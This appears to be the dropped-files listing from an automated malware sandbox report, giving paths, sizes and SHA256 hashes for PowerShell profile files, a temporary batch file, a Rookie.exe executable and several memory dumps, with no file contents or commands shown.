                                                                                                                                                                                                                                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 ccfe07b1da496ddb6aec4cb98a1e4c1d95b835147aa3bfd0202a08c5586a9434
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 00337b792ccf1e66cb382c669878afb64f1bb1d7fb0cb486051d57a1610dbf72
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 ff7daa872dda2a5fc4ce7a687bb4193774abb607d489887ffdbbd0ef71bc0d8d
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 1d5c141b45bc5e46239034793ee11326c99480cbe308234119962c0fde257150
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 27ae3b28cd16baec7f717fd1b00446bbb11e52379cf19dd47512731f93998919
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Size 944B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 b2bc6b2b41ab30e5bfb51c2b47f69ecb460a5943f3c28ff2ded4e1e38d47004c
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                                                                                                                                                                                                                • Size 1KB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 a9ceb04c6450e7a502ed46b767154d8f09b9c3bdf14b8c6a236377837394195c
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                __PSScriptPolicyTest_5b0pbdk1.qqb.ps1
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5b0pbdk1.qqb.ps1
                                                                                                                                                                                                                                                                                                                                                                                • Size 60B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                tmpEE6D.tmp.bat
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Local\Temp\tmpEE6D.tmp.bat
                                                                                                                                                                                                                                                                                                                                                                                • Size 150B
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 13d81a891b23235ec9d0f801dd26b064825c662273b519cc4dd300f31e80bd65
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                Rookie.exe
                                                                                                                                                                                                                                                                                                                                                                                • Path C:\Users\Admin\AppData\Roaming\Rookie.exe
                                                                                                                                                                                                                                                                                                                                                                                • Size 42.7MB
                                                                                                                                                                                                                                                                                                                                                                                • SHA256 baad08cd4c8b64c64c491f8e43da0724f6f9a1f8a03e3c6a7513cebf9ba1a96e
                                                                                                                                                                                                                                                                                                                                                                                • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                                Submit Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4060-17-0x0000021E249D0000-0x0000021E24A14000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4060-2-0x0000021E24150000-0x0000021E24172000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4060-18-0x0000021E24A20000-0x0000021E24A96000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4536-0-0x0000022AD5330000-0x0000022AD535E000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4536-1-0x0000022AEF7F0000-0x0000022AEF800000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download

                                                                                                                                                                                                                                                                                                                                                                                memory/4536-21-0x0000022AEF7F0000-0x0000022AEF800000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                                Download